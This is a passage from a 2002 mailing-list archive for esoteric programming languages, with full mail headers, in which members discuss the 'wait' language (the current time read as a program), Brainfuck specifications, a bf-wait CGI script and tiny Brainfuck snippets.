	for <lang@esoteric.sange.fi>; Fri, 28 Jun 2002 17:27:37 +0300
Received: from localhost (pkalliok@localhost)
	by melkinpaasi.cs.Helsinki.FI (8.11.6/8.11.2) with ESMTP id g5SERVl06250
	for <lang@esoteric.sange.fi>; Fri, 28 Jun 2002 17:27:31 +0300
X-Authentication-Warning: melkinpaasi.cs.Helsinki.FI: pkalliok owned process doing -bs
Date: Fri, 28 Jun 2002 17:27:31 +0300 (EEST)
From: Panu A Kalliokoski <pkalliok@cs.Helsinki.FI>
To: lang@esoteric.sange.fi
Subject: [lang] Re: Spec for wait
In-Reply-To: <001b01c21ea8$3f1a4360$a500000a@td165>
Message-ID: <Pine.LNX.4.44.0206281726490.28743-100000@melkinpaasi.cs.Helsinki.FI>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: pkalliok@cs.Helsinki.FI
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: pkalliok@cs.Helsinki.FI
Precedence: bulk
X-list: misc

On Fri, 28 Jun 2002 dmoss@tdsi.co.uk wrote:
> As I understand it the BrainFuck spec defined the store as a 30000 byte
> array. If you break the spec, that's not my fault ]:p
> ...unless, of course, I'm wrong...

The original "spec" does not say much, but for other specs I point you to:

http://esoteric.sange.fi/ENSI/

-- 

Am fuar -> symb <- am fesh
atehwa@iki.fi







From esoteric@oiva.sange.fi Fri Jun 28 18:17:49 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NxVJ-0007Ow-00; Fri, 28 Jun 2002 18:17:45 +0300
Received: with LISTAR (v0.129a; list misc); Fri, 28 Jun 2002 18:17:38 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NxV0-0007Oo-00; Fri, 28 Jun 2002 18:17:26 +0300
Received: with LISTAR (v0.129a; list lang); Fri, 28 Jun 2002 18:17:19 +0300 (EEST)
Received: from tdsiaccess.demon.co.uk ([158.152.60.40] helo=mailhost.tdsi.co.uk)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NxUs-0007Oh-00
	for lang@esoteric.sange.fi; Fri, 28 Jun 2002 18:17:18 +0300
Received: from 10.0.0.165 by mailhost.tdsi.co.uk ([10.0.0.230] running VPOP3) with SMTP for <lang@esoteric.sange.fi>; Fri, 28 Jun 2002 16:21:15 +0100
From: dmoss@tdsi.co.uk
To: <lang@esoteric.sange.fi>
Subject: [lang] Re: Spec for wait
Date: Fri, 28 Jun 2002 16:16:11 +0100
Message-ID: <001c01c21eb6$bd1f4720$a500000a@td165>
MIME-Version: 1.0
Content-Type: text/plain; charset="Windows-1252"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0)
In-Reply-To: <Pine.LNX.4.44.0206281726490.28743-100000@melkinpaasi.cs.Helsinki.FI>
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Importance: Normal
X-Server: VPOP3 V1.5.0a - Registered
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: dmoss@tdsi.co.uk
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: dmoss@tdsi.co.uk
Precedence: bulk
X-list: misc

http://www.muppetlabs.com/~breadbox/bf/ and
http://home.wxs.nl/~faase009/Ha_BF.html

are the closest to a spec that I have come about.

yours are funnier, through... I'll probably write a 1.0 compliant
interpreter...

Dave.

>The original "spec" does not say much, but for other specs I point you to:
>
>http://esoteric.sange.fi/ENSI/
>
>--
>
>Am fuar -> symb <- am fesh
>atehwa@iki.fi






From esoteric@oiva.sange.fi Fri Jun 28 19:18:25 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NyRP-0007d2-00; Fri, 28 Jun 2002 19:17:48 +0300
Received: with LISTAR (v0.129a; list misc); Fri, 28 Jun 2002 19:17:41 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NyQm-0007cv-00; Fri, 28 Jun 2002 19:17:08 +0300
Received: with LISTAR (v0.129a; list lang); Fri, 28 Jun 2002 19:17:01 +0300 (EEST)
Received: from mailout11.sul.t-online.com ([194.25.134.85])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NyQe-0007cp-00
	for lang@esoteric.sange.fi; Fri, 28 Jun 2002 19:17:00 +0300
Received: from fwd03.sul.t-online.de 
	by mailout11.sul.t-online.com with smtp 
	id 17NyQZ-0000yF-06; Fri, 28 Jun 2002 18:16:55 +0200
Received: from esoteric.holy-unicorn (340009195196-0001@[217.231.60.18]) by fwd03.sul.t-online.com
	with esmtp id 17NyQl-2CpktEC; Fri, 28 Jun 2002 18:17:07 +0200
Received: from esoteric.holy-unicorn (localhost [127.0.0.1])
	by esoteric.holy-unicorn (8.12.1/8.11.6) with ESMTP id g5SGQOXj065199
	for <lang@esoteric.sange.fi>; Fri, 28 Jun 2002 18:26:24 +0200 (CEST)
	(envelope-from markus@esoteric.holy-unicorn)
Received: (from markus@localhost)
	by esoteric.holy-unicorn (8.12.1/8.12.1/Submit) id g5SGQOTG065198
	for lang@esoteric.sange.fi; Fri, 28 Jun 2002 18:26:24 +0200 (CEST)
Date: Fri, 28 Jun 2002 18:26:24 +0200
From: markus.kliegl@t-online.de (Markus Kliegl)
To: lang@esoteric.sange.fi
Subject: [lang] Re: Spec for wait
Message-ID: <20020628182624.A65153@esoteric>
References: <20020628130612.521D01A5DF@abydos.freakymousemats.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <20020628130612.521D01A5DF@abydos.freakymousemats.net>
User-Agent: Mutt/1.3.23i
X-Sender: 340009195196-0001@t-dialin.net
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: markus.kliegl@t-online.de
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: markus.kliegl@t-online.de
Precedence: bulk
X-list: misc

* Cal Henderson <cal@iamcal.com> [020628 15:32]:
> At 14:01 GMT 28.06.02, Panu A Kalliokoski wrote:
> : > the problem is that i don't think 9 character bf prog can output
> : > anything visible. so it might be a few hundred years before we get any
> : > output.
> : 
> : Bah. [+.]
> 
> sorry, change that to a TERMINATING bf program :)

Actually that program does terminate, as it skips right over the loop.
+[.+] would assuming 1 byte cells, terminate after 255 iterations.

> 
> or perhaps i should set an excecution time limit and return whatever's been output after, say, 1 second.
> 
> --cal
> "this is the noise that keeps me awake"





From esoteric@oiva.sange.fi Fri Jun 28 22:28:26 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17O1Nt-0008Et-00; Fri, 28 Jun 2002 22:26:21 +0300
Received: with LISTAR (v0.129a; list misc); Fri, 28 Jun 2002 22:26:14 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17O1Mz-0008Eg-00; Fri, 28 Jun 2002 22:25:25 +0300
Received: with LISTAR (v0.129a; list lang); Fri, 28 Jun 2002 22:24:54 +0300 (EEST)
Received: from pandora.tiscali.nl ([195.241.76.179])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17O1MT-0008EZ-00
	for lang@esoteric.sange.fi; Fri, 28 Jun 2002 22:24:53 +0300
Received: from dds.nl (xs241-204-131.dial.tiscali.nl [195.241.204.131])
	by pandora.tiscali.nl (Postfix) with ESMTP id 77CF14A9E1
	for <lang@esoteric.sange.fi>; Thu, 27 Jun 2002 23:19:55 +0200 (MET DST)
Sender: root@pandora.tiscali.nl
Message-ID: <3D1B8DFD.6911ABC@dds.nl>
Date: Fri, 28 Jun 2002 00:13:17 +0200
From: Milo van Handel <mwq@dds.nl>
Organization: Milo-Soft
X-Mailer: Mozilla 4.08 [en] (X11; I; Linux 2.2.3-5 i586)
MIME-Version: 1.0
To: lang@esoteric.sange.fi
Subject: [lang] Re: Spec for wait
References: <B9408732.6A6%cristofd@hevanet.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: mwq@dds.nl
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: mwq@dds.nl
Precedence: bulk
X-list: misc

Daniel wrote:

> If anyone's interested, the wait program seems to be a null program, i.e. a
> quine, at the moment. The time is functioning as a branch-if-greater-than
> which doesn't get taken. Over the next year or two it'll go on working its
> way through different kinds of conditional branches, roughly half of which I
> would expect to cause problems; then it will spend a few decades doing
> unconditional jumps, which will be illegal; then a few decades of arithmetic
> instructions, which will work smoothly for the most part, and then load and
> store instructions which depend on how much memory the puppy's allowed; I
> have it set to 64K at the moment, because I don't want core dumps to exceed
> my storage allocation.

I don't use a Sun.  But I just realized...  Wouldn't it be possible for the
programmer to generate the wanted program by using a suitable machine language
in which the current time is what the programmer wants?  I really think the
language specification should specify what machine language should be used,
instead of making it implementation-dependent.






From esoteric@oiva.sange.fi Sat Jun 29 00:45:50 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17O3Ya-0008hY-00; Sat, 29 Jun 2002 00:45:33 +0300
Received: with LISTAR (v0.129a; list misc); Sat, 29 Jun 2002 00:45:26 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17O3YE-0008hP-00; Sat, 29 Jun 2002 00:45:10 +0300
Received: with LISTAR (v0.129a; list lang); Sat, 29 Jun 2002 00:45:02 +0300 (EEST)
Received: from glisan.hevanet.com ([198.5.254.5])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17O3Y6-0008hG-00
	for lang@esoteric.sange.fi; Sat, 29 Jun 2002 00:45:02 +0300
Received: from [130.94.161.238] (130-94-161-238-dsl.hevanet.com [130.94.161.238])
	by glisan.hevanet.com (8.10.2/8.10.2) with ESMTP id g5SLiwo00765
	for <lang@esoteric.sange.fi>; Fri, 28 Jun 2002 14:44:58 -0700 (PDT)
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Fri, 28 Jun 2002 14:44:52 -0700
Subject: [lang] Re: Spec for wait
From: Daniel <cristofd@hevanet.com>
To: <lang@esoteric.sange.fi>
Message-ID: <B94226E3.6C2%cristofd@hevanet.com>
In-Reply-To: <012701c21e97$bc6c3be0$0681ef9b@lennie>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: cristofd@hevanet.com
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: cristofd@hevanet.com
Precedence: bulk
X-list: misc

>> As far as I know, I'm about the only person on this list who does. And
> it's
>> not even mine--I'm telnetting to it from a Mac (ick). I reported my
> results
>> only because I thought some people might be interested.
> 
> Did you wrote a compiler for Sun system of your language ?

No, just an interpreter--sort of.
-Daniel.






From esoteric@oiva.sange.fi Sat Jun 29 00:56:13 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17O3it-0008jz-00; Sat, 29 Jun 2002 00:56:11 +0300
Received: with LISTAR (v0.129a; list misc); Sat, 29 Jun 2002 00:56:04 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17O3ie-0008jt-00; Sat, 29 Jun 2002 00:55:56 +0300
Received: with LISTAR (v0.129a; list lang); Sat, 29 Jun 2002 00:55:48 +0300 (EEST)
Received: from glisan.hevanet.com ([198.5.254.5])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17O3iV-0008jm-00
	for lang@esoteric.sange.fi; Sat, 29 Jun 2002 00:55:48 +0300
Received: from [130.94.161.238] (130-94-161-238-dsl.hevanet.com [130.94.161.238])
	by glisan.hevanet.com (8.10.2/8.10.2) with ESMTP id g5SLtiB02824
	for <lang@esoteric.sange.fi>; Fri, 28 Jun 2002 14:55:45 -0700 (PDT)
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Fri, 28 Jun 2002 14:55:38 -0700
Subject: [lang] Re: Spec for wait
From: Daniel <cristofd@hevanet.com>
To: <lang@esoteric.sange.fi>
Message-ID: <B942296A.6C3%cristofd@hevanet.com>
In-Reply-To: <001c01c21eb6$bd1f4720$a500000a@td165>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: cristofd@hevanet.com
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: cristofd@hevanet.com
Precedence: bulk
X-list: misc

> http://www.muppetlabs.com/~breadbox/bf/ and
> http://home.wxs.nl/~faase009/Ha_BF.html
> 
> are the closest to a spec that I have come about.

Have a look at
http://www.muppetlabs.com/~breadbox/bf/standards.html

-Daniel.






From esoteric@oiva.sange.fi Sat Jun 29 01:01:45 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17O3oF-0008oL-00; Sat, 29 Jun 2002 01:01:44 +0300
Received: with LISTAR (v0.129a; list misc); Sat, 29 Jun 2002 01:01:37 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17O3o7-0008oD-00; Sat, 29 Jun 2002 01:01:35 +0300
Received: with LISTAR (v0.129a; list lang); Sat, 29 Jun 2002 01:01:27 +0300 (EEST)
Received: from mailout6-1.nyroc.rr.com ([24.92.226.177] helo=mailout6.nyroc.rr.com)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17O3nz-0008o7-00
	for lang@esoteric.sange.fi; Sat, 29 Jun 2002 01:01:27 +0300
Received: from mail1.twcny.rr.com (mail1-0.nyroc.rr.com [24.92.226.74])
	by mailout6.nyroc.rr.com (8.11.6/RoadRunner 1.20) with ESMTP id g5SM1Op10971
	for <lang@esoteric.sange.fi>; Fri, 28 Jun 2002 18:01:24 -0400 (EDT)
Received: from riff ([24.92.246.4]) by mail1.twcny.rr.com
          (Post.Office MTA v3.5.3 release 223
          ID# 0-59787U250000L250000S0V35) with ESMTP id com
          for <lang@esoteric.sange.fi>; Fri, 28 Jun 2002 18:01:22 -0400
Received: from rob by riff with local (Exim 3.35 #1 (Debian))
	id 17O3nt-0000Vl-00
	for <lang@esoteric.sange.fi>; Fri, 28 Jun 2002 18:01:21 -0400
Date: Fri, 28 Jun 2002 18:01:21 -0400
From: Rob Speer <rob@twcny.rr.com>
To: lang@esoteric.sange.fi
Subject: [lang] Re: Spec for wait
Message-ID: <20020628220121.GA1859@twcny.rr.com>
References: <20020628100823.092F51A5DF@abydos.freakymousemats.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <20020628100823.092F51A5DF@abydos.freakymousemats.net>
User-Agent: Mutt/1.4i
X-Is-It-Not-Nifty: www.sluggy.com
Sender: Rob Speer <rob@riff>
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: rob@twcny.rr.com
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: rob@twcny.rr.com
Precedence: bulk
X-list: misc

On Fri, Jun 28, 2002 at 11:08:23AM +0100, Cal Henderson wrote:
> on a slight tangent, a bf-wait script:
> 
> http://dev.swp-emap.com/bf_wait.cgi
> 
> just takes the time and converts each digit into a bf instrcution (but not ,) and outputs the results.

Is any digit mapped to "." ? I don't ever see it come up, which causes a
noticable lack of output.
-- 
Rob Speer






From esoteric@oiva.sange.fi Sat Jun 29 01:58:57 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17O4hY-0008yz-00; Sat, 29 Jun 2002 01:58:52 +0300
Received: with LISTAR (v0.129a; list misc); Sat, 29 Jun 2002 01:58:45 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17O4h9-0008yi-00; Sat, 29 Jun 2002 01:58:27 +0300
Received: with LISTAR (v0.129a; list lang); Sat, 29 Jun 2002 01:58:19 +0300 (EEST)
Received: from rhea.tiscali.nl ([195.241.76.178])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17O4gv-0008yW-00
	for lang@esoteric.sange.fi; Sat, 29 Jun 2002 01:58:13 +0300
Received: from dds.nl (xs241-239-35.dial.tiscali.nl [195.241.239.35])
	by rhea.tiscali.nl (Postfix) with ESMTP id 9A8223947F
	for <lang@esoteric.sange.fi>; Sat, 29 Jun 2002 00:58:09 +0200 (MET DST)
Sender: root@rhea.tiscali.nl
Message-ID: <3D1CC32E.10C5F01E@dds.nl>
Date: Fri, 28 Jun 2002 22:12:30 +0200
From: Milo van Handel <mwq@dds.nl>
Organization: Milo-Soft
X-Mailer: Mozilla 4.08 [en] (X11; I; Linux 2.2.3-5 i586)
MIME-Version: 1.0
To: lang@esoteric.sange.fi
Subject: [lang] Re: Spec for wait
References: <B9417F60.6B2%cristofd@hevanet.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: mwq@dds.nl
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: mwq@dds.nl
Precedence: bulk
X-list: misc

Daniel wrote:

> >> Some small
> >> problems that arise in such a case:
> >> -leading zeroes don't change what natural number it is; so they shouldn't
> >> change what program is produced either. One answer is to ignore this
> >> theoretical difficulty; another is to gerrymander the definition of either
> >> the reference language or the mapping function so as to legitimize the
> >> behaviour of your implementation.
> >
> > Perhaps interpret the time in little-endian format?
>
> I don't think that will help; it would just move the problem to one where
> the same time with and without a bunch of extra zeroes on the END mapped to
> two different programs.
>
> Now where a zero is not a legitimate instruction--which happens to be the
> case for the SPARC--the problem dissolves; we should keep the time in the
> smallest data type it will fit in, because keeping it in a bigger type will
> not make it translate to another legitimate program, but to a non-program.
>
> (The problem I was trying to avoid was that of having the same number with
> and without a bunch of leading zeroes--e.g., the current time in 32-bit and
> 64-bit format--translate to two different legitimate programs in the
> reference language, neither of which any other time would translate to.
> Because this would make some programs in the reference language
> inaccessible; and then we would have to prove that the reference language
> was still Turing-complete with those programs removed, which is a hassle.)

The point is, in little-endian format, the problem is moved to the end of the
program.  Whether this helps depends on what the compiler/interpreter puts
after the time.  Your implementation puts an exit command there, in which
case little-endian won't help.  But from what I see in your specification,
this is not yet official, and an in an implementation that produces zeroes or
undefined data after the program, little-endian time will move the problematic
zeroes into this zero/undefined section, where it doesn't bother.

> >> -Practically speaking: What should happen if the last instruction in the
> >> time is cut off halfway through, because instructions are of varying
> >> lengths? Depending on your memory layout, it might get completed with stray
> >> data or you might get some kind of memory protection fault. Which one
> >> happens is undefined by the spec because the sliced instruction means the
> >> program is not a legitimate machine-language program.
> >
> > In that case, try to execute something that is not a legitimate instruction.
>
> Hm? Explain what you mean. I think we've largely been talking past each
> other so far.

I mean, execute an invalid instruction and have the processor signal an error.
Basically, the compiler/interpreter should ignore this problem and leave it
to the machine language.







From esoteric@oiva.sange.fi Sat Jun 29 01:59:00 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17O4hY-0008yy-00; Sat, 29 Jun 2002 01:58:52 +0300
Received: with LISTAR (v0.129a; list misc); Sat, 29 Jun 2002 01:58:45 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17O4h9-0008yj-00; Sat, 29 Jun 2002 01:58:27 +0300
Received: with LISTAR (v0.129a; list lang); Sat, 29 Jun 2002 01:58:20 +0300 (EEST)
Received: from rhea.tiscali.nl ([195.241.76.178])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17O4h0-0008yX-00
	for lang@esoteric.sange.fi; Sat, 29 Jun 2002 01:58:18 +0300
Received: from dds.nl (xs241-239-35.dial.tiscali.nl [195.241.239.35])
	by rhea.tiscali.nl (Postfix) with ESMTP id BEE8E39765
	for <lang@esoteric.sange.fi>; Sat, 29 Jun 2002 00:58:13 +0200 (MET DST)
Sender: root@rhea.tiscali.nl
Message-ID: <3D1CC994.234C6B83@dds.nl>
Date: Fri, 28 Jun 2002 22:39:48 +0200
From: Milo van Handel <mwq@dds.nl>
Organization: Milo-Soft
X-Mailer: Mozilla 4.08 [en] (X11; I; Linux 2.2.3-5 i586)
MIME-Version: 1.0
To: lang@esoteric.sange.fi
Subject: [lang] Re: Spec for wait
References: <Pine.LNX.4.44.0206271447410.24514-100000@melkinpaasi.cs.Helsinki.FI>
		<B9408732.6A6%cristofd@hevanet.com> <15643.39795.225470.922055@gargle.gargle.HOWL>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: mwq@dds.nl
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: mwq@dds.nl
Precedence: bulk
X-list: misc

David Fletcher wrote:

> I liked this description.  I would like to propose that the following
> prophecy be added to all reliable sacred texts: that when the wait
> program produceth "Hello world", the end of the world shall be at
> hand.

*Reliable* sacred texts?  You mean those exist?

Also, there are so many predictions of the end of the world floating around, do
you think it is probable that the omens they describe will all occur
simultaneously?

> Somebody should invent a language that will allow you to do anything,
> with a spec which strongly recommends that you do nothing.  It would
> be good for annoying people who insist on some "correct" or "approved"
> style.  All styles of programming in this language will be frowned
> upon.

The specs will have to consider *some* programming practice as correct, or nobody
will take them seriously :)







From esoteric@oiva.sange.fi Sat Jun 29 02:02:11 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17O4kj-00093g-00; Sat, 29 Jun 2002 02:02:09 +0300
Received: with LISTAR (v0.129a; list misc); Sat, 29 Jun 2002 02:02:03 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17O4kb-00093Y-00; Sat, 29 Jun 2002 02:02:01 +0300
Received: with LISTAR (v0.129a; list lang); Sat, 29 Jun 2002 02:01:54 +0300 (EEST)
Received: from glisan.hevanet.com ([198.5.254.5])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17O4kT-00093S-00
	for lang@esoteric.sange.fi; Sat, 29 Jun 2002 02:01:53 +0300
Received: from [130.94.161.238] (130-94-161-238-dsl.hevanet.com [130.94.161.238])
	by glisan.hevanet.com (8.10.2/8.10.2) with ESMTP id g5SN1oB14175
	for <lang@esoteric.sange.fi>; Fri, 28 Jun 2002 16:01:51 -0700 (PDT)
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Fri, 28 Jun 2002 16:01:45 -0700
Subject: [lang] Re: Spec for wait
From: Daniel <cristofd@hevanet.com>
To: <lang@esoteric.sange.fi>
Message-ID: <B94238E8.6C7%cristofd@hevanet.com>
In-Reply-To: <20020628121100.ED52E1A2BE@abydos.freakymousemats.net>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: cristofd@hevanet.com
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: cristofd@hevanet.com
Precedence: bulk
X-list: misc

This is cute. There does seem to be one small problem though:

bf-wait
time: 1025301484
program: -+>[<+-] ]
program (balanced): ]-+>[<+-] ]
output: ()
errors: Unmatched right bracket at (eval 3) line 1, at end of line syntax
error at (eval 3) line 1, near "}"

> the problem is that i don't think 9 character bf prog can output anything
> visible.

How about audible? Nobody addressed that question.
+++++++.

(Actually, that one might never occur, since + is zero and leading zeroes
probably aren't translated to brainfuck. Which is fine, since every program
that starts with + can be replaced with an equivalent program that doesn't,
by tacking on a >< at the start.)

If you're concerned about getting to the useful programs as fast as
possible, you might want to use octal rather than decimal to translate
from--and translate a zero to something that wouldn't occur at the start of
an efficient brainfuck program. You could even include , if you had data to
feed it.

In any case, congratulations.

-Daniel.






From esoteric@oiva.sange.fi Sat Jun 29 02:34:14 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17O5Fj-0009CH-00; Sat, 29 Jun 2002 02:34:11 +0300
Received: with LISTAR (v0.129a; list misc); Sat, 29 Jun 2002 02:34:04 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17O5FX-0009CA-00; Sat, 29 Jun 2002 02:33:59 +0300
Received: with LISTAR (v0.129a; list lang); Sat, 29 Jun 2002 02:33:52 +0300 (EEST)
Received: from glisan.hevanet.com ([198.5.254.5])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17O5FP-0009C4-00
	for lang@esoteric.sange.fi; Sat, 29 Jun 2002 02:33:51 +0300
Received: from [130.94.161.238] (130-94-161-238-dsl.hevanet.com [130.94.161.238])
	by glisan.hevanet.com (8.10.2/8.10.2) with ESMTP id g5SNXmI17751
	for <lang@esoteric.sange.fi>; Fri, 28 Jun 2002 16:33:49 -0700 (PDT)
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Fri, 28 Jun 2002 16:33:43 -0700
Subject: [lang] Re: Spec for wait
From: Daniel <cristofd@hevanet.com>
To: <lang@esoteric.sange.fi>
Message-ID: <B9424066.6CB%cristofd@hevanet.com>
In-Reply-To: <B94238E8.6C7%cristofd@hevanet.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: cristofd@hevanet.com
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: cristofd@hevanet.com
Precedence: bulk
X-list: misc

I predict next visible output at 1025340506 which is in about nine and a
quarter hours; and again 54 seconds later. If the server gets too bogged
down for everyone to get through, the people who do can copy the results to
the list.
-Daniel.






From esoteric@oiva.sange.fi Sat Jun 29 05:44:21 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17O8DZ-000AeT-00; Sat, 29 Jun 2002 05:44:09 +0300
Received: with LISTAR (v0.129a; list misc); Sat, 29 Jun 2002 05:44:02 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17O8DD-000AeN-00; Sat, 29 Jun 2002 05:43:47 +0300
